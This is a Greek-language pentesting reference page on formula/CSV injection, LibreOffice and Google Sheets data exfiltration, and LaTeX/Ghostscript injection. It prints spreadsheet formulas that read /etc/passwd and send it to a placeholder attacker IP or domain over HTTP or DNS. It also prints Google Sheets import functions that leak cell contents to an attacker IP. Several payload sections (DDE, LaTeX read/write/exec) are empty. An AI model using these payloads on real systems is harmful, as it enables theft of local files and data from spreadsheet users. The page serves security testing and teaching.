Formula/CSV/Doc/LaTeX/GhostScript Injection
Ομάδα Ασφάλειας Try Hard
Εισαγωγή Τύπου
Πληροφορίες
Αν το input σας αντανακλάται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανόν να ανοίξει ο Excel), μπορείτε ενδεχομένως να τοποθετήσετε τύπους Excel που θα εκτελεστούν όταν ο χρήστης ανοίξει το αρχείο ή όταν ο χρήστης κάνει κλικ σε κάποιο σύνδεσμο μέσα στο φύλλο Excel.
Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προφυλάξει από κακόβουλες ενέργειες. Συνεπώς, πρέπει να εφαρμοστεί ειδική προσπάθεια στον Κοινωνικό Μηχανικό για το τελικό φορτίο.
Υπερσύνδεσμος
Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο Excel και για την αποστολή αιτημάτων σε αυθαίρετες τοποθεσίες. Αλλά απαιτεί τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τα προειδοποιητικά μηνύματα).
Το παρακάτω παράδειγμα προέρχεται από https://payatu.com/csv-injection-basic-to-exploit
Φανταστείτε μια παραβίαση ασφαλείας σε ένα σύστημα Διαχείρισης Εγγραφών Φοιτητών που εκμεταλλεύεται μια επίθεση εισροής CSV. Η κύρια πρόθεση του επιτιθέμενου είναι να διακινδυνεύσει το σύστημα που χρησιμοποιούν οι καθηγητές για τη διαχείριση των λεπτομερειών των φοιτητών. Η μέθοδος περιλαμβάνει την εισροή μιας κακόβουλης φορτίωσης στην εφαρμογή, συγκεκριμένα με την εισαγωγή επιβλαβών τύπων σε πεδία που προορίζονται για τις λεπτομέρειες των φοιτητών. Η επίθεση εξελίσσεται ως εξής:
Εισροή Κακόβουλης Φορτίωσης:
Ο επιτιθέμενος υποβάλλει ένα φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει μια φόρμουλα που χρησιμοποιείται συχνά σε υπολογιστικά φύλλα (π.χ.,
=HYPERLINK("<κακόβουλος_σύνδεσμος>","Κάντε κλικ εδώ")
).Αυτή η φόρμουλα σχεδιάστηκε για να δημιουργήσει έναν υπερσύνδεσμο, αλλά δείχνει προς έναν κακόβουλο διακοντρολιζόμενο διακομιστή από τον επιτιθέμενο.
Εξαγωγή Κατεστραμμένων Δεδομένων:
Οι καθηγητές, χωρίς να γνωρίζουν την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
Το αρχείο CSV, όταν ανοίγεται, παραμένει με την κακόβουλη φορτίωση. Αυτή η φορτίωση εμφανίζεται ως κλικάρισμα υπερσυνδέσμου στο υπολογιστικό φύλλο.
Ενεργοποίηση της Επίθεσης:
Ένας καθηγητής κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι αποτελεί νόμιμο μέρος των λεπτομερειών του φοιτητή.
Μετά το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή του υπολογιστή του καθηγητή) μεταδίδονται στον διακοντρολιζόμενο διακομιστή του επιτιθέμενου.
Καταγραφή των Δεδομένων:
Ο διακοντρολιζόμενος διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που στάλθηκαν από τον υπολογιστή του καθηγητή.
Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, διακινδυνεύοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.
RCE
Ελέγξτε την αρχική ανάρτηση για περαιτέρω λεπτομέρειες.
Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια λειτουργία που ονομάζεται Δυναμική Ανταλλαγή Δεδομένων (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να το επιτύχετε αυτό, πρέπει να ενεργοποιηθούν οι ακόλουθες ρυθμίσεις:
Πλοηγηθείτε σε Αρχείο → Επιλογές → Κέντρο Εμπιστοσύνης → Ρυθμίσεις Κέντρου Εμπιστοσύνης → Εξωτερικό Περιεχόμενο, και ενεργοποιήστε την Εκκίνηση Διακοντρολιζόμενου Διακομιστή Δυναμικής Ανταλλαγής Δεδομένων.
Όταν ανοίγεται ένα υπολογιστικό φύλλο με την κακόβουλη φορτίωση (και αν ο χρήστης αποδέχεται τα προειδοποιητικά μηνύματα), η φορτίωση εκτελείται. Για παράδειγμα, για να εκκινήσετε την εφαρμογή αριθμομηχανή, η φορτίωση θα ήταν:
Μπορούν επίσης να εκτελεστούν πρόσθετες εντολές, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:
Ενσωμάτωση Τοπικού Αρχείου (LFI) στο LibreOffice Calc
Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξυφάντωση δεδομένων. Εδώ υπάρχουν μερικές μέθοδοι:
Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο
/etc/passwd
:='file:///etc/passwd'#$passwd.A1
Εξύφανση των δεδομένων προς έναν διακεκριμένο διακομιστή επιτιθέμενου:
=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)))
Εξύφανση περισσότερων από μία γραμμή:
=WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
Εξύφανση DNS (αποστολή δεδομένων ανάγνωσης ως ερωτήματα DNS σε έναν διακεκριμένο διακομιστή DNS επιτιθέμενου):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domain του επιτιθέμενου>"))
Google Sheets για Εξύφανση Δεδομένων Εκτός Ζώνης (OOB)
Το Google Sheets προσφέρει λειτουργίες που μπορούν να εκμεταλλευτούν για την εξύφανση δεδομένων εκτός ζώνης:
CONCATENATE: Συνενώνει αλφαριθμητικά -
=CONCATENATE(A2:E2)
IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων -
=IMPORTXML(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED: Εισάγει ροές RSS ή ATOM -
=IMPORTFEED(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML: Εισάγει δεδομένα από πίνακες HTML ή λίστες -
=IMPORTHTML (CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE: Εισάγει ένα εύρος κελιών από άλλο φύλλο εργασίας -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Αναγνωριστικό_Φύλλου]", "sheet1!A2:E2")
IMAGE: Εισάγει μια εικόνα σε ένα κελί -
=IMAGE("https://<διεύθυνση IP του επιτιθέμενου:Θύρα>/images/srpr/logo3w.png")
Εισαγωγή LaTeX
Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν το pdflatex
.
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για την (απ)απαγόρευση εκτέλεσης εντολών:
--no-shell-escape
: Απενεργοποιεί την κατασκευή\write18{command}
, ακόμη κι αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.--shell-restricted
: Ίδιο με το--shell-escape
, αλλά περιορίζεται σε ένα σύνολο 'ασφαλών' προκαθορισμένων **εντολών (**Στο Ubuntu 16.04 η λίστα βρίσκεται στο/usr/share/texmf/web2c/texmf.cnf
).--shell-escape
: Ενεργοποιεί την κατασκευή\write18{command}
. Η εντολή μπορεί να είναι οποιαδήποτε εντολή κελώνας. Αυτή η κατασκευή απαγορεύεται κανονικά για λόγους ασφαλείας.
Ωστόσο, υπάρχουν και άλλοι τρόποι εκτέλεσης εντολών, οπότε για να αποφευχθεί η RCE είναι πολύ σημαντικό να χρησιμοποιηθεί το --shell-restricted
.
Ανάγνωση αρχείου
Μπορεί να χρειαστεί να προσαρμόσετε την ενσωμάτωση με περιτύλιγματα όπως [ ή $.
Διαβάστε αρχείο με μία γραμμή
Διαβάστε πολλαπλές γραμμές αρχείου
Γράψτε αρχείο
Εκτέλεση εντολής
Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να το λάβετε.
Cross Site Scripting
Από @EdOverflow
Ενσωμάτωση Ghostscript
Έλεγχος https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Αναφορές
Try Hard Security Group
Last updated